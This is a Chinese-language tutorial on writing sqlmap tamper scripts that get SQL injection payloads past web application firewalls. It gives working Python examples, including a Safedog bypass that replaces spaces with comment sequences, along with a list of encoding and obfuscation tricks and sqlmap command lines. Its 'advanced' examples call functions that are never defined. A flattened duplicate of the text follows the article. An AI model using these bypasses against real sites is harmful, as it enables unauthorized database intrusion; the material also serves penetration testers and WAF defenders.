sqlmap tamper编写规则
字数 2073 2025-08-15 21:31:25

SQLMap Tamper脚本编写详解

1. SQLMap简介

SQLMap是一个开源的渗透测试工具,用于自动化检测和利用SQL注入漏洞,获取数据库服务器权限。它具有以下特点:

  • 功能强大的检测引擎
  • 支持多种数据库类型
  • 可获取数据库中存储的数据
  • 可访问操作系统文件
  • 支持通过外带数据连接执行操作系统命令

2. Tamper脚本概述

Tamper脚本是SQLMap中用于绕过WAF(Web应用防火墙)的脚本集合,位于SQLMap安装目录的tamper文件夹中。

2.1 Tamper脚本作用

  • 对SQL注入payload进行变形和编码
  • 绕过特定WAF的检测规则
  • 针对不同WAF提供专门的绕过技术

2.2 Tamper脚本特点

  • 针对国内外常见WAF都有对应脚本(如360、绿盟、ModSecurity、百度、FortiWeb、Cloudflare等)
  • 每个脚本专注于一种特定的绕过技术
  • 可以组合使用多个Tamper脚本

3. Tamper脚本结构分析

apostrophemask.py为例,分析Tamper脚本的基本结构:

3.1 基本结构

#!/usr/bin/env python
# 版权声明
from lib.core.enums import PRIORITY

__priority__ = PRIORITY.LOWEST

def dependencies():
    pass

def tamper(payload, **kwargs):
    # 脚本功能说明
    # 参考链接
    # 使用示例
    return modified_payload

3.2 关键组件详解

  1. Shebang行#!/usr/bin/env python

    • 指定使用env查找Python解释器路径
    • 确保脚本可移植性
  2. 优先级设置__priority__

    • 定义脚本执行优先级
    • 取值从PRIORITY.LOWESTPRIORITY.HIGHEST
    • 常用值:LOWEST, LOWER, LOW, NORMAL, HIGH, HIGHER, HIGHEST
  3. dependencies函数

    • 用于声明脚本依赖关系
    • 通常为空(pass)
  4. tamper函数

    • 核心函数,负责payload变形
    • 参数:
      • payload: 原始SQL注入payload
      • **kwargs: 其他参数字典
    • 必须返回修改后的payload

4. Tamper脚本编写实例

4.1 简单示例:替换单引号

#!/usr/bin/env python

from lib.core.enums import PRIORITY

__priority__ = PRIORITY.LOWEST

def dependencies():
    pass

def tamper(payload, **kwargs):
    """
    将单引号(')替换为UTF-8全角字符(%EF%BC%87)
    示例:
    >>> tamper("1 AND '1'='1")
    '1 AND %EF%BC%871%EF%BC%87=%EF%BC%871'
    """
    return payload.replace("'", "%EF%BC%87") if payload else payload

4.2 复杂示例:绕过安全狗

#!/usr/bin/env python

from lib.core.enums import PRIORITY

__priority__ = PRIORITY.LOW

def dependencies():
    pass

def tamper(payload, **kwargs):
    """
    绕过安全狗WAF
    将空格(' ')替换为(/*|%20--%20|*/)
    示例:
    >>> tamper('SELECT id FROM users')
    'SELECT/*|%20--%20|*/id/*|%20--%20|*/FROM/*|%20--%20|*/users'
    """
    retVal = payload
    
    if payload:
        retVal = ""
        quote, doublequote, firstspace = False, False, False
        
        for i in range(len(payload)):
            if not firstspace:
                if payload[i].isspace():
                    firstspace = True
                    retVal += "/*|%20--%20|*/"
                    continue
            elif payload[i] == '\'':
                quote = not quote
            elif payload[i] == '"':
                doublequote = not doublequote
            elif payload[i] == " " and not doublequote and not quote:
                retVal += "/*|%20--%20|*/"
                continue
            
            retVal += payload[i]
    
    return retVal

4.3 代码解析

  1. 空格替换逻辑

    • 检测到空格时,替换为/*|%20--%20|*/
    • 这种形式结合了注释符和URL编码空格,可绕过许多WAF
  2. 引号处理

    • 跟踪单引号和双引号的状态
    • 在引号内的空格不进行替换,避免破坏SQL语法
  3. 逐个字符处理

    • 遍历payload中的每个字符
    • 根据上下文决定是否替换

5. Tamper脚本编写技巧

5.1 常见绕过技术

  1. 字符编码

    • URL编码
    • Unicode编码
    • HTML实体编码
    • 十六进制编码
  2. 注释插入

    • 使用/**/--#等注释符号
    • 将关键字拆分为注释包裹的形式
  3. 大小写混合

    • 随机大小写(SELecT)
    • 特定位置大写
  4. 空白符变形

    • 使用制表符、换行符代替空格
    • 使用注释替代空格
  5. 等价替换

    • AND&&
    • OR||
    • =LIKE, IN, BETWEEN

5.2 开发建议

  1. 研究目标WAF

    • 了解其过滤规则
    • 测试哪些字符和语法会被拦截
  2. 保持SQL有效性

    • 变形后的payload必须仍是有效SQL
    • 特别注意引号和字符串的处理
  3. 模块化设计

    • 每个脚本专注于一种绕过技术
    • 便于组合使用
  4. 充分测试

    • 在各种数据库上测试
    • 测试不同SQL语句类型(SELECT, INSERT, UPDATE等)

6. Tamper脚本使用方式

6.1 基本使用

sqlmap -u "http://example.com/vuln.php?id=1" --tamper="apostrophemask.py"

6.2 组合多个Tamper脚本

sqlmap -u "http://example.com/vuln.php?id=1" --tamper="between.py,randomcase.py"

6.3 常用Tamper脚本

  1. apostrophemask.py:替换单引号
  2. base64encode.py:Base64编码
  3. between.py:用NOT BETWEEN 0 AND #替换>
  4. randomcase.py:随机大小写
  5. space2comment.py:用注释替换空格
  6. equaltolike.py:用LIKE替换=

7. 高级主题

7.1 动态Tamper脚本

根据目标响应动态调整变形策略:

def tamper(payload, **kwargs):
    headers = kwargs.get("headers", {})
    
    if "X-WAF-Detected" in headers:
        # 根据WAF响应调整策略
        return advanced_bypass(payload)
    else:
        return payload

7.2 机器学习辅助

利用机器学习模型预测最可能成功的变形方式:

def tamper(payload, **kwargs):
    model = load_ml_model()
    best_transform = model.predict(payload)
    return apply_transform(payload, best_transform)

7.3 上下文感知变形

根据SQL上下文选择不同变形策略:

def tamper(payload, **kwargs):
    if "SELECT" in payload.upper():
        return select_transform(payload)
    elif "UNION" in payload.upper():
        return union_transform(payload)
    else:
        return default_transform(payload)

8. 最佳实践

  1. 代码清晰

    • 添加详细注释
    • 包含使用示例
  2. 错误处理

    • 处理边界情况
    • 确保不破坏原始payload
  3. 性能考虑

    • 避免复杂计算
    • 尽量减少字符串操作
  4. 文档完整

    • 说明脚本用途
    • 列出参考资源
    • 提供变形示例
  5. 持续更新

    • 跟踪WAF规则变化
    • 定期更新绕过技术

9. 总结

Tamper脚本是SQLMap强大功能的重要组成部分,通过编写高效的Tamper脚本可以显著提高SQL注入测试的成功率。掌握Tamper脚本编写技术需要:

  1. 深入理解SQL语法和注入技术
  2. 熟悉常见WAF的检测机制
  3. 掌握多种编码和变形技术
  4. 具备扎实的Python编程能力
  5. 保持对新型WAF的研究和学习

通过本文的详细讲解,您应该已经掌握了Tamper脚本的基本结构和编写方法,能够根据实际需求开发自己的绕过脚本。

SQLMap Tamper脚本编写详解 1. SQLMap简介 SQLMap是一个开源的渗透测试工具,用于自动化检测和利用SQL注入漏洞,获取数据库服务器权限。它具有以下特点: 功能强大的检测引擎 支持多种数据库类型 可获取数据库中存储的数据 可访问操作系统文件 支持通过外带数据连接执行操作系统命令 2. Tamper脚本概述 Tamper脚本是SQLMap中用于绕过WAF(Web应用防火墙)的脚本集合,位于SQLMap安装目录的 tamper 文件夹中。 2.1 Tamper脚本作用 对SQL注入payload进行变形和编码 绕过特定WAF的检测规则 针对不同WAF提供专门的绕过技术 2.2 Tamper脚本特点 针对国内外常见WAF都有对应脚本(如360、绿盟、ModSecurity、百度、FortiWeb、Cloudflare等) 每个脚本专注于一种特定的绕过技术 可以组合使用多个Tamper脚本 3. Tamper脚本结构分析 以 apostrophemask.py 为例,分析Tamper脚本的基本结构: 3.1 基本结构 3.2 关键组件详解 Shebang行 : #!/usr/bin/env python 指定使用env查找Python解释器路径 确保脚本可移植性 优先级设置 : __priority__ 定义脚本执行优先级 取值从 PRIORITY.LOWEST 到 PRIORITY.HIGHEST 常用值: LOWEST , LOWER , LOW , NORMAL , HIGH , HIGHER , HIGHEST dependencies函数 用于声明脚本依赖关系 通常为空(pass) tamper函数 核心函数,负责payload变形 参数: payload : 原始SQL注入payload **kwargs : 其他参数字典 必须返回修改后的payload 4. Tamper脚本编写实例 4.1 简单示例:替换单引号 4.2 复杂示例:绕过安全狗 4.3 代码解析 空格替换逻辑 : 检测到空格时,替换为 /*|%20--%20|*/ 这种形式结合了注释符和URL编码空格,可绕过许多WAF 引号处理 : 跟踪单引号和双引号的状态 在引号内的空格不进行替换,避免破坏SQL语法 逐个字符处理 : 遍历payload中的每个字符 根据上下文决定是否替换 5. Tamper脚本编写技巧 5.1 常见绕过技术 字符编码 : URL编码 Unicode编码 HTML实体编码 十六进制编码 注释插入 : 使用 /**/ 、 -- 、 # 等注释符号 将关键字拆分为注释包裹的形式 大小写混合 : 随机大小写(SELecT) 特定位置大写 空白符变形 : 使用制表符、换行符代替空格 使用注释替代空格 等价替换 : AND → && OR → || = → LIKE , IN , BETWEEN 5.2 开发建议 研究目标WAF : 了解其过滤规则 测试哪些字符和语法会被拦截 保持SQL有效性 : 变形后的payload必须仍是有效SQL 特别注意引号和字符串的处理 模块化设计 : 每个脚本专注于一种绕过技术 便于组合使用 充分测试 : 在各种数据库上测试 测试不同SQL语句类型(SELECT, INSERT, UPDATE等) 6. Tamper脚本使用方式 6.1 基本使用 6.2 组合多个Tamper脚本 6.3 常用Tamper脚本 apostrophemask.py :替换单引号 base64encode.py :Base64编码 between.py :用 NOT BETWEEN 0 AND # 替换 > randomcase.py :随机大小写 space2comment.py :用注释替换空格 equaltolike.py :用LIKE替换= 7. 高级主题 7.1 动态Tamper脚本 根据目标响应动态调整变形策略: 7.2 机器学习辅助 利用机器学习模型预测最可能成功的变形方式: 7.3 上下文感知变形 根据SQL上下文选择不同变形策略: 8. 最佳实践 代码清晰 : 添加详细注释 包含使用示例 错误处理 : 处理边界情况 确保不破坏原始payload 性能考虑 : 避免复杂计算 尽量减少字符串操作 文档完整 : 说明脚本用途 列出参考资源 提供变形示例 持续更新 : 跟踪WAF规则变化 定期更新绕过技术 9. 总结 Tamper脚本是SQLMap强大功能的重要组成部分,通过编写高效的Tamper脚本可以显著提高SQL注入测试的成功率。掌握Tamper脚本编写技术需要: 深入理解SQL语法和注入技术 熟悉常见WAF的检测机制 掌握多种编码和变形技术 具备扎实的Python编程能力 保持对新型WAF的研究和学习 通过本文的详细讲解,您应该已经掌握了Tamper脚本的基本结构和编写方法,能够根据实际需求开发自己的绕过脚本。